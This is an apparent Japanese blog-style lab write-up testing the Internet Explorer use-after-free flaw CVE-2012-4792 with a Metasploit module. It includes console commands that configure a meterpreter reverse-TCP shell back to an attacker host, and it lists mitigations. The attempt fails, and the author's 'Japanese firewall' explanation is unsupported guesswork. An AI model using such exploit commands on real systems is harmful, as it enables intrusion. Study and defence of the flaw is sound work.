2013年1月7日月曜日

CVE-2012-4792 Internet Explorer 解放済みメモリ使用 (use-after-free) の脆弱性

CVE-2012-4792 で IE 8 以前の IE に use-after-free の脆弱性が報告されており、metasploit に実行モジュールが提供されていたので実験してみる。

JVNVU#92426910
Internet Explorer に任意のコードが実行される脆弱性
http://jvn.jp/cert/JVNVU92426910/index.html

その前に use-after-free について調べてみる。
日本語に訳すと解放済みメモリ使用。メモリ解放が適切に処理されていないために発生する不具合らしい。
下記のサイトに実験コード付きで解説があった。
https://www.fortify.com/vulncat/ja/vulncat/cpp/use_after_free.html
また下記のサイトによると、一度解放されたオブジェクトが使用していたアドレス空間を再度別な目的で利用するために発生するとのこと。
http://blogs.msdn.com/b/ie/archive/2012/03/12/enhanced-memory-protections-in-ie10.aspx

Metasploit をアップデートしてサーバの設定を入れてみる。

msf > use exploit/windows/browser/ie_cbutton_uaf
msf exploit(ie_cbutton_uaf) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(ie_cbutton_uaf) > set SRVHOST 10.0.0.1
msf exploit(ie_cbutton_uaf) > set SRVPORT 80
msf exploit(ie_cbutton_uaf) > set LHOST 10.0.0.1
msf exploit(ie_cbutton_uaf) > set LPORT 8080
msf exploit(ie_cbutton_uaf) > set URIPATH ie
msf exploit(ie_cbutton_uaf) > exploit

このあと、Windows XP SP3 の IE8 からアクセスするが exploit は成功しなかった。
IE には「お使いのコンピューターを保護するため Internet Explorer はこの Web ページを閉じました。」と表示されていた。
少し調べてみるとソースコードに以下の文章を発見。

Please note: This vulnerability has been exploited in the wild targeting mainly China/Taiwan/and US-based computers.

どうやら日本語ファイアウォールが防御していたらしい。日本語の windows しか手元になかったので今回の検証はここまで。

JVNによると1月7日時点での対応策は以下の二つ。

- Fix it 50971 を適用する
- Enhanced Mitigation Experience Toolkit (EMET) を適用する

EMET は Enhanced Mitigation Experience Toolkit のこと。古いプログラムでは有効にされていないセキュリティ対策を強制的に適用するツール。具体的には DEP、SEHOP、ASLR を適用した状態でプログラムを実行できるらしい。
そのため使用していたアプリケーションが動かなくなる場合があるのは注意が必要。

0 件のコメント:

コメントを投稿